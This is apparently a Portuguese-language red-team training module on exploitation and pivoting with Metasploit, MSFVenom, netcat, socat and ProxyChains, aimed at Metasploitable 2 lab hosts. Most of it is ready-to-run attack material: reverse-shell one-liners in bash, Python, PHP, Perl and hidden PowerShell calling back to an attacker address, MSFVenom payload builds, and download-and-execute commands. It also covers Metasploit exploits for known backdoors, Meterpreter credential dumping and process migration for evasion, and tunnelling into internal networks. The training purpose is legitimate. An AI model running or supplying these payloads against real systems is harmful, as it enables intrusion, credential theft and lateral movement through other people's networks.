Exploração & Pivoting
28/08/2026
5 min read

MÓDULO 7 — Exploração (Exploitation) & Pivoting: Metasploit, MSFVenom e Movimentação Lateral

Team Hacking78

Especialistas em Red Teaming

Resumo Executivo (TL;DR)

Aprenda a converter vulnerabilidades confirmadas em acesso inicial (foothold) e expandir o alcance da invasão via pivoting. Domine Metasploit, payloads customizados com MSFVenom, reverse vs. bind shells, estabilização de terminais e túneis com socat, SSH e ProxyChains.

MÓDULO 7 — Exploração (Exploitation) & Pivoting: Metasploit, MSFVenom e Movimentação Lateral

A exploração (Exploitation) é o ápice técnico onde uma vulnerabilidade confirmada na fase anterior (Módulo 6) é convertida em execução arbitrária de código no alvo, conquistando o ponto de apoio inicial (Initial Foothold). Contudo, em redes corporativas modernas, o servidor comprometido é apenas a porta de entrada. O verdadeiro impacto de um teste de intrusão ou exercício de Red Team reside no Pivoting — a capacidade de transformar a máquina dominada em um trampolim para rotear tráfego e alcançar redes internas anteriormente inacessíveis.

7.1 O que é Exploração e o Fluxo Mental Ofensivo

A exploração técnica consiste na união harmônica de três ingredientes essenciais:

text
Hacking78 Snippet
[Exploit (Abusa da vulnerabilidade)] 
  + [Payload (Código executado após o disparo: shell/meterpreter)] 
  + [Alvo Vulnerável Configurado]
  = Acesso Inicial (Initial Foothold)

As Duas Vias de Exploração

  • Metasploit Framework: Plataforma modular consagrada que integra exploits, payloads, encoders, listeners e módulos de pós-exploração automatizados. Ideal para ganho rápido de produtividade e controle de sessões.
  • Exploração Manual: Utilização de scripts PoC adaptados em Python/C, utilitários de rede (netcat, curl) e técnicas de injeção direta. Indispensável para compreender o funcionamento íntimo do bug e contornar ambientes onde não há módulos prontos.

Regra de Ouro da Carreira Ofensiva Inicie com o Metasploit para dominar o fluxo padronizado de trabalho; em seguida, reproduza a exploração manualmente para compreender a mecânica de sockets e memória. O exploit é uma ferramenta descartável; o entendimento técnico é o seu ativo definitivo.

7.2 Terminologia Crítica de Exploração

  • Exploit: O código ou sequência de pacotes projetada para induzir um comportamento anômalo no software vulnerável.
  • Payload: A carga útil entregue e executada após a exploração bem-sucedida (ex: comando simples, shell interativo ou Meterpreter).
  • Meterpreter: O payload avançado in-memory do Metasploit que roda injetado na memória de processos, oferecendo comandos nativos sem gravar arquivos no disco.
  • Listener (Handler): Processo que fica em escuta no host do auditor aguardando a conexão reversa enviada pelo alvo.
  • LHOST / LPORT: O endereço IP e a porta local da sua máquina de ataque (onde o listener aguarda).
  • RHOST / RPORT: O endereço IP e a porta remota do servidor-alvo a ser explorado.
  • Staged Payload: Carga dividida em duas etapas. Envia um stub minúsculo (stager) que conecta ao listener e baixa o payload completo em memória.
  • Stageless Payload: Carga completa e independente compilada em um único arquivo binário/script.

7.3 Reverse Shell vs. Bind Shell — A Decisão Arquitetural

A escolha entre um shell reverso ou bind define se o acesso contornará os firewalls da organização:

Reverse Shell (Padrão Profissional Mandatório)

text
Hacking78 Snippet
Alvo Comprometido ──(Conexão de Saída TCP:4444)──> Host do Pentester (Kali)
  • Vantagem Vital: Conexões de dentro para fora (egress) raramente são bloqueadas por firewalls corporativos e atravessam gateways NAT sem necessidade de redirecionamento de portas no alvo.
  • Exigência: O endereço IP do auditor (LHOST) deve ser roteável e acessível pelo alvo.
bash
Hacking78 Snippet
# No Kali (Listener aguardando):
nc -lvnp 4444

# No Alvo Linux (One-liners clássicos de conexão reversa):
nc -e /bin/sh 192.168.56.101 4444
bash -i >& /dev/tcp/192.168.56.101/4444 0>&1

Bind Shell

text
Hacking78 Snippet
Host do Pentester (Kali) ──(Conexão de Entrada TCP:4444)──> Alvo (Porta Aberta)
  • Mecânica: O payload abre uma porta de escuta local no próprio servidor-alvo e aguarda a conexão do auditor.
  • Desvantagem Crítica: Falha imediatamente se o alvo estiver atrás de firewall de borda bloqueando conexões de entrada (ingress) ou em rede NAT.
bash
Hacking78 Snippet
# No Alvo (Abre a porta 4444 em escuta):
nc -lvnp 4444 -e /bin/sh

# No Kali (Conecta na porta do alvo):
nc -nv 192.168.56.10 4444

Guia Rápido de One-Liners de Reverse Shell

bash
Hacking78 Snippet
# Bash (Nativo via /dev/tcp)
bash -i >& /dev/tcp/192.168.56.101/4444 0>&1

# Python 3 (Multiplexação via dup2)
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.101",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# PHP
php -r '$sock=fsockopen("192.168.56.101",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

# Perl
perl -e 'use Socket;$i="192.168.56.101";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

# PowerShell (Windows)
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "$client = New-Object System.Net.Sockets.TCPClient('192.168.56.101',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

7.4 MSFVenom — Geração de Payloads Sob Medida

O MSFVenom combina a geração de payloads e encoding em uma única ferramenta CLI de alta flexibilidade.

bash
Hacking78 Snippet
# Sintaxe geral do MSFVenom
msfvenom -p <payload> LHOST=<seu_ip> LPORT=<porta> -f <formato> -o <arquivo_saida>

Exemplos Práticos por Plataforma

bash
Hacking78 Snippet
# Linux x86 (Binário ELF Stageless)
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.56.101 LPORT=4444 -f elf -o shell.elf

# Linux x64 (Binário ELF Staged)
msfvenom -p linux/x64/shell/reverse_tcp LHOST=192.168.56.101 LPORT=4444 -f elf -o shell_staged.elf

# Windows x64 (Executável Meterpreter Reverso)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=4444 -f exe -o shell.exe

# Aplicações Web (PHP / Python / JSP)
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.56.101 LPORT=4444 -f raw -o shell.php
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=4444 -f raw -o shell.py
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.56.101 LPORT=4444 -f raw -o shell.jsp

Vetores de Entrega e Execução

bash
Hacking78 Snippet
# Servidor HTTP rápido no Kali para hospedar o binário:
python3 -m http.server 8080

# Download e execução no alvo Linux:
wget http://192.168.56.101:8080/shell.elf && chmod +x shell.elf && ./shell.elf

# Download e execução no alvo Windows via PowerShell:
iwr http://192.168.56.101:8080/shell.exe -OutFile C:WindowsTempshell.exe ; Start-Process C:WindowsTempshell.exe

7.5 Metasploit Framework — O Fluxo Operacional Essencial

bash
Hacking78 Snippet
# Inicializar o console do framework
msfconsole -q

# Estrutura padrão de configuração:
use <caminho_do_modulo>
set RHOSTS <IP_do_alvo>
set LHOST <Seu_IP>
set LPORT 4444
show options
run

Casos Práticos de Exploração no Metasploitable 2

Caso 1: Backdoor vsftpd 2.3.4 (CVE-2011-2523)

bash
Hacking78 Snippet
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.56.10
set LHOST 192.168.56.101
run
# Resultado: Shell root instantâneo no alvo

Caso 2: RCE no Samba usermap_script (CVE-2007-2447)

bash
Hacking78 Snippet
use exploit/multi/samba/usermap_script
set RHOSTS 192.168.56.10
set LHOST 192.168.56.101
run
# Resultado: Shell interativo direto como root

Caso 3: Backdoor no UnrealIRCd 3.2.8.1 (CVE-2010-2075)

bash
Hacking78 Snippet
use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOSTS 192.168.56.10
set LHOST 192.168.56.101
run

O Poder do Meterpreter em Pós-Exploração

O Meterpreter opera inteiramente na memória do sistema sem criar novos processos previsíveis:

bash
Hacking78 Snippet
getuid                    # Exibe o usuário corrente da sessão
sysinfo                   # Detalhes da arquitetura e kernel do SO
shell                     # Spawna um shell de comandos do SO nativo
getsystem                 # Tenta elevação automática para NT AUTHORITY\SYSTEM (Windows)
ps                        # Lista processos ativos no sistema
migrate <PID>             # Injeta o Meterpreter em um processo estável (ex: explorer.exe)
download /etc/shadow .    # Baixa arquivos sensíveis para a máquina de ataque
upload tool.exe /tmp/     # Transfere arquivos locais para o alvo
screenshot                # Captura tela do desktop do usuário logado
hashdump                  # Extrai hashes SAM/NTLM de usuários Windows
background                # Coloca a sessão ativa em segundo plano
sessions -l               # Lista todas as sessões ativas
sessions -i <ID>          # Retoma a interação com uma sessão específica

7.6 Exploração Manual Passo a Passo (Sem Frameworks)

Para compreender a mecânica real do backdoor do vsftpd 2.3.4: a versão modificada monitorava o envio de um smiley :) no nome do usuário FTP e disparava a abertura de uma shell bind na porta TCP 6200 com privilégios de root.

bash
Hacking78 Snippet
# 1. Conectar manualmente no serviço FTP
nc -nv 192.168.56.10 21

# 2. Enviar a sequência gatilho do backdoor no campo USER
USER hacker:)

# 3. Enviar qualquer senha para processar a autenticação
PASS senhaqualquer

# 4. Conectar diretamente na porta 6200 aberta pelo gatilho
nc -nv 192.168.56.10 6200
# Resultado: Shell root disponível diretamente no terminal

7.7 Estabilização e Upgrade de Shells Reversos

Conexões brutas via Netcat são instáveis: não possuem auto-complete com Tab, não gravam histórico com setas e são encerradas acidentalmente com Ctrl+C.

Técnica Padrão de Estabilização com Python PTY

bash
Hacking78 Snippet
# 1. Dentro da sessão crua do Netcat, invoque um pseudo-terminal Bash:
python3 -c 'import pty; pty.spawn("/bin/bash")'

# 2. Defina a variável de terminal:
export TERM=xterm-256color

# 3. Envie a sessão para segundo plano pressionando Ctrl+Z

# 4. No seu terminal Kali local, desative o echo bruto e retome a sessão:
stty raw -echo; fg

# 5. Redesenhe o terminal:
reset

Estabilização Total com Socat

bash
Hacking78 Snippet
# No Kali (Listener preparado):
socat file:`tty`,raw,echo=0 TCP-L:4444

# No Alvo Linux:
socat TCP:192.168.56.101:4444 EXEC:"bash -li",pty,stderr,sigint,setsid,sane

7.8 PIVOTING: O Host Comprometido como Trampolim de Rede

O Pivoting consiste em utilizar a máquina comprometida (Pivô) como ponte para rotear tráfego ofensivo até redes corporativas internas inacessíveis diretamente pelo perímetro externo.

text
Hacking78 Snippet
[Kali: 192.168.56.101] 
         │ (Rede Externa / Acessível)
         ▼
[Pivô Comprometido: 192.168.56.10 / 10.10.10.10]
         │ (Rede Interna / Segmentada)
         ▼
[Alvo Interno: 10.10.10.5 (Banco de Dados / DC)]

Passo 1: Enumeração de Interfaces e Vizinhos de Rede no Pivô

bash
Hacking78 Snippet
ip a                      # Identifica placas de rede e faixas de IP adicionais
ip route                  # Exibe a tabela de roteamento do servidor
arp -a                    # Lista hosts vizinhos conhecidos na rede interna
cat /proc/net/arp         # Inspeciona cache ARP diretamente no kernel

Passo 2: Port Forwarding Portável com Socat

Redireciona portas específicas da rede interna para uma porta pública no pivô:

bash
Hacking78 Snippet
# No Pivô Comprometido:
# Expõe o serviço web interno (10.10.10.5:80) na porta 8080 do pivô
socat TCP-LISTEN:8080,fork TCP:10.10.10.5:80

# No Kali:
curl http://192.168.56.10:8080   # Acessa diretamente a aplicação interna via pivô

Passo 3: Roteamento Integrado no Metasploit & SOCKS Proxy

bash
Hacking78 Snippet
# 1. Adicionar uma rota para a sub-rede interna através da sessão Meterpreter ativa (ex: Sessão 1):
meterpreter > route add 10.10.10.0/24 1
meterpreter > route print

# 2. Criar um servidor de proxy SOCKS4a no Metasploit:
use auxiliary/server/socks_proxy
set SRVHOST 127.0.0.1
set SRVPORT 1080
set VERSION 4a
run -j

# 3. Configurar o ProxyChains no Kali (/etc/proxychains4.conf):
# Inserir no final do arquivo: socks4 127.0.0.1 1080

# 4. Executar ferramentas externas tuneladas através da rede interna:
proxychains4 nmap -sT -Pn -p 22,80,445 10.10.10.5
proxychains4 curl http://10.10.10.5

Passo 4: Port Forwarding Nativo no Meterpreter

bash
Hacking78 Snippet
# Encaminha a porta 80 do host interno 10.10.10.5 para a porta 8080 local do Kali:
meterpreter > portfwd add -L 127.0.0.1 -l 8080 -p 80 -r 10.10.10.5

# No Kali:
curl http://127.0.0.1:8080

Regras de Ouro no Pivoting - Sempre utilize `-Pn` no Nmap: Roteamento via SOCKS não suporta pacotes ICMP/Ping. - Utilize TCP Connect (`-sT`): Proxies de aplicação não encapsulam pacotes SYN brutos (-sS). - Controle de Timing (`-T2` ou `-T3`): Túneis adicionam latência; scans rápidos demais causam perda massiva de pacotes.

7.9 Laboratório Prático de Pivoting & Movimentação

bash
Hacking78 Snippet
# No host pivô (se for atuar como roteador de pacotes):
sudo sysctl -w net.ipv4.ip_forward=1
  • Etapa 1: Explore o pivô via Metasploit ou exploit manual.
  • Etapa 2: Descubra a rede segmentada via ip neigh e tabela ARP.
  • Etapa 3: Adicione a rota no Metasploit (route add 10.10.10.0/24 <sessao>).
  • Etapa 4: Varra o host interno usando proxychains4 nmap -sT -Pn 10.10.10.5.
  • Etapa 5: Encaminhe o tráfego do serviço web com portfwd e acesse do Kali.

7.10 Checklist de Segurança Operacional (OpSec)

  • [x] Registre todas as evidências com prints, comandos e hashes no diretório ~/pentest/evidencias/exploit/.
  • [x] Mantenha controle absoluto dos LHOST, LPORT e IDs de sessões abertas.
  • [x] Nunca execute comandos destrutivos (rm -rf, reboot não autorizado) no ambiente do cliente.
  • [x] Respeite estritamente as fronteiras do escopo aprovado no RoE.
  • [x] Documente a cadeia de saltos de pivoting (Pivô → Túnel → Alvo Interno).

7.11 Checklist de Conclusão do Módulo 7

  • [x] Compreendo a diferença operacional entre reverse shell e bind shell.
  • [x] Sei gerar payloads em múltiplos formatos com MSFVenom e entregá-los via HTTP.
  • [x] Opero o Metasploit com segurança (use, set, run, sessions, background).
  • [x] Domino comandos avançados do Meterpreter (getuid, migrate, hashdump, portfwd).
  • [x] Executo exploração manual passo a passo sem dependência de ferramentas automáticas.
  • [x] Sei estabilizar reverse shells usando Python PTY e Socat.
  • [x] Compreendo a arquitetura e os requisitos de redes para Pivoting.
  • [x] Configuro roteamento de sessões e servidores SOCKS com ProxyChains.
  • [x] Executo port forwarding local e remoto com Socat e Meterpreter.
  • [x] Documento a cadeia completa de comprometimento para relatórios de Red Team.
📌
Resumo Prático: A exploração transforma falhas teóricas em controle prático da infraestrutura. Dominar a arquitetura de conexões reversas, a geração cirúrgica de payloads com o MSFVenom, a estabilização de shells e as técnicas de pivoting (túneis SOCKS, Socat e rotas no Meterpreter) permite que o auditor navegue entre redes segmentadas corporativas com a mesma desenvoltura e precisão tática de um adversário avançado.

Perguntas Frequentes (FAQ)

Por que o Reverse Shell é preferido em relação ao Bind Shell em auditorias reais?

O Reverse Shell faz com que o servidor-alvo inicie a conexão de dentro para fora em direção à máquina do auditor. Firewalls perimetrais e roteadores corporativos quase sempre bloqueiam conexões de entrada não autorizadas (inviabilizando o Bind Shell), mas frequentemente permitem tráfego de saída em portas comuns (como 443, 80 ou 4444). Além disso, o Reverse Shell atravessa facilmente ambientes com NAT sem necessidade de redirecionamento de portas no alvo.

O que é a migração de processos no Meterpreter (migrate) e qual sua importância?

A migração é a capacidade do Meterpreter de injetar seu código em outro processo em execução no sistema operacional (por exemplo, migrar de um payload temporário para o 'explorer.exe' ou 'svchost.exe'). Isso garante estabilidade caso o processo inicial seja fechado pelo usuário e dificulta a detecção por soluções de monitoramento de segurança.

Por que devemos usar a flag -sT (TCP Connect) e -Pn ao escanear através do ProxyChains?

O ProxyChains opera na camada de aplicação encaminhando conexões através de proxies SOCKS. Como o protocolo SOCKS não possui suporte nativo para pacotes brutos (Raw Packets) ou pacotes ICMP (Ping), os scans furtivos SYN (-sS) e a descoberta de hosts por ping falham. O parâmetro -sT instrui o Nmap a utilizar a chamada de sistema de conexão TCP completa e -Pn pula o teste de ping, garantindo que os pacotes atravessem o túnel SOCKS com sucesso.

Qual é a principal diferença prática entre payloads Staged e Stageless no MSFVenom?

Um payload Staged (indicado por barras adicionais como 'windows/x64/meterpreter/reverse_tcp') é dividido em partes: um stager minúsculo é enviado inicialmente para caber em buffers restritos de memória e, após executado, ele conecta ao listener para baixar o restante do payload. Já um payload Stageless (como 'windows/x64/meterpreter_reverse_tcp') contém todo o código compilado em um único bloco, sendo mais robusto em redes instáveis ou onde conexões secundárias são bloqueadas.